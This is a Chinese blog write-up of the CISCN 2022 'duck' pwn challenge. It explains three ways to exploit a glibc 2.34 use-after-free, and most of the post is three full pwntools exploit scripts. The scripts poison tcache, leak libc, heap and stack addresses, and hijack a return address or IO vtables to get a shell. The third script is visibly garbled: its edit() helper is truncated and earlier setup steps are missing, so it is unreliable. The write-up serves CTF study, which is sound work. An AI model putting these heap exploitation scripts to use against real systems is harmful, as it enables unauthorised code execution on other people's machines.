ciscn 2022 华东北分区赛pwn duck

ciscn 2022 华东北分区赛pwn duck

很遗憾的是当时比赛解出此题花了很长时间(换了m1的mac 环境还没装,到了比赛前一会想起来x86_64的题目肯定会多一些,所以就拿了一个全新版win10的tp,第一次体验到了在比赛的时候下载ubuntu,装vm和pwn的环境,导致浪费了很多时间。。。。)
这个pwn是2.34下的,一开始拿到这个题目的时候吓了一跳(当时是第二次做2.34的glibc pwn),以为要像house of emma那样,分析下来之后感谢出题人高抬贵手。
一个uaf漏洞,但是是2.34下的,2.34下禁用了free_hook, malloc_hook这两个做堆题需要用到最多的hook
在这里插入图片描述
当时做题的时候上网搜了一下2.34的利用手法,总结出了两个方法,一个是借助environ算出ret的地址然后去覆盖,另一个是io利用。
这里给出3种不同的exp及利用思路

第一种攻击方法 借助environ修改edit返回地址为rop链

第一种借助environ来覆盖ret。
在2.33的时候fd会有异域加密,想要更改fd进行任意地址申请的话需要泄露出heap地址,这一题因为有uaf所以很好泄露,也很容易泄露出libc,填充满tcache即可。
留两个tcache bins,借助edit来修改fd达成任意地址申请,需要申请到environ这个地址,因为这里存放着stack地址,泄露出来之后算出edit的返回地址即可。
在这里插入图片描述
再次利用uaf申请到edit的返回地址之后修改0x000056123dd9b631为rop链即可getshell

from pwn import *
from time import sleep

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote('192.168.166.139', 58013)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

menu = 'Choice: '

def add():
    r.sendlineafter(menu, '1')

def show(index):
    r.sendlineafter(menu, '3')
    r.sendlineafter('Idx:', str(index))

def delete(index):
    r.sendlineafter(menu, '2')
    r.sendlineafter('Idx:', str(index))

def edit(index, size, content):
    r.sendlineafter(menu, '4')
    r.sendlineafter('Idx:', str(index))
    r.sendlineafter('Size:', str(size))
    r.sendafter('Content:', content)

for i in range(9):
    add()

for i in range(8):
    delete(i)

show(7)
libc_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 96
li('libc_addr = ' + hex(libc_addr))
show(0)
r.recvuntil('\n')
key = u64(r.recv(5).ljust(8, b'\x00'))
heap_base = key << 12
li('heap_base = ' + hex(heap_base))

libc = ELF('./libc.so.6')
libc_base = libc_addr - libc.sym['main_arena']
li('libc_base = ' + hex(libc_base))
environ = libc_base + libc.sym['environ']
li('environ = ' + hex(environ))

for i in range(5):
    add() # 9 - 13

p1 = p64(key ^ environ) + p64(0)
edit(1, 0x10, p1)

add()   #14
add()   #15
show(15)
stack_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x168
li('stack_addr = ' + hex(stack_addr))

delete(9)
delete(10)
edit(10, 0x10, p64(key ^ stack_addr) + p64(0))
add() #16
add()   #17
bin_sh = libc_base + libc.search(b'/bin/sh').__next__()
system_addr = libc_base + libc.sym['system']
pop_rdi_ret = libc_base + libc.search(asm('pop rdi;ret;')).__next__()

p2 = p64(0) * 3 + p64(pop_rdi_ret) + p64(bin_sh) + p64(system_addr)
edit(17, 0x30, p2)

r.interactive()

第二种攻击方法 修改_IO_file_jumps中的_IO_new_file_overflow

第二种借助puts时会调用_IO_new_file_overflow刷新缓冲区
在这里插入图片描述
这种是笔者认为解这题最简单的方法,直接利用uaf申请到_IO_file_jumps这里修改_IO_new_file_overflow为one_gadget即可getshell

from pwn import *
from time import sleep

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote('192.168.166.139', 58013)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

menu = 'Choice: '

def add():
    r.sendlineafter(menu, '1')

def show(index):
    r.sendlineafter(menu, '3')
    r.sendlineafter('Idx:', str(index))

def delete(index):
    r.sendlineafter(menu, '2')
    r.sendlineafter('Idx:', str(index))

def edit(index, size, content):
    r.sendlineafter(menu, '4')
    r.sendlineafter('Idx:', str(index))
    r.sendlineafter('Size:', str(size))
    r.sendafter('Content:', content)

for i in range(9):
    add()

for i in range(8):
    delete(i)

show(7)
libc_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 96
li('libc_addr = ' + hex(libc_addr))
show(0)
r.recvuntil('\n')
key = u64(r.recv(5).ljust(8, b'\x00'))
heap_base = key << 12
li('heap_base = ' + hex(heap_base))

libc = ELF('./libc.so.6')
libc_base = libc_addr - libc.sym['main_arena']
li('libc_base = ' + hex(libc_base))
_IO_file_jumps = libc_base + libc.sym['_IO_file_jumps']
li('_IO_file_jumps = ' + hex(_IO_file_jumps))

for i in range(5):
    add() #9 - 13

p1 = p64(key ^ _IO_file_jumps) + p64(0)
edit(1, 0x10, p1)

add() #14
add() #15

one = [0xda861, 0xda864, 0xda867]
one_gadget = one[1] + libc_base
edit(15, 0x20, p64(0) * 3 + p64(one_gadget))

r.interactive()

第三种攻击方法 伪造io结构体

这种攻击方法笔者认为是最麻烦的,和house of orange很像,把/bin/sh放到头,执行vtable的函数时,FILE结构体地址被作为参数来getshell
劫持_IO_new_file_xsputn这个函数。当然了修改_IO_new_file_overflow这个也是可以的,就是利用puts这个函数。
在这里插入图片描述
在这里插入图片描述

from pwn import *
from time import sleep

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote('192.168.166.139', 58013)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

menu = 'Choice: '

def add():
    r.sendlineafter(menu, '1')

def show(index):
    r.sendlineafter(menu, '3')
    r.sendlineafter('Idx:', str(index))

def delete(index):
    r.sendlineafter(menu, '2')
    r.sendlineafter('Idx:', str(index))

def edit(index, size, content):
    r.sendlineafter(menu, '4')

add() #10
add() #11
for i in range(7):
    delete(i) # 0 - 6

delete(7)
show(7)
libc_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 96
li('libc_addr = ' + hex(libc_addr))
show(0)
r.recvuntil('\n')
key = u64(r.recv(5).ljust(8, b'\x00'))
heap_base = key << 12
li('heap_base = ' + hex(heap_base))

libc = ELF('./libc.so.6')
libc_base = libc_addr - libc.sym['main_arena']
li('libc_base = ' + hex(libc_base))

system_addr = libc_base + libc.sym['system']
stdout = libc_base + libc.sym['_IO_2_1_stdout_']
li('stdout = ' + hex(stdout))
IO_file_jumps = libc_base + libc.sym['_IO_file_jumps']

target = key ^ IO_file_jumps
li('target = ' + hex(target))
edit(6, 0x100, p64(target))
add()   #12
add()   #13
fake = p64(0) + p64(0)
fake += p64(libc_base + 0x83d80) + p64(libc_base + 0x84750)
fake += p64(libc_base + 0x84440) + p64(libc_base + 0x85520)
fake += p64(libc_base + 0x86600) + p64(system_addr)

delete(8)
edit(8, 0x8, p64(key ^ stdout))
add()
add()
edit(15, 0x10, b'/bin/sh\x00')
#edit(13, 0x40, fake)
r.sendlineafter(menu, '4')
sleep(1)
r.sendline('13')
sleep(1)
#r.sendline('0x40')
r.sendline('64')
sleep(1)
r.sendline(fake)

r.interactive()

另外两道pwn后面再更新,第二个bigduck最简单的就是environ这个方法只不过后面的rop链变成了orw。

  • 6
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

z1r0.

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值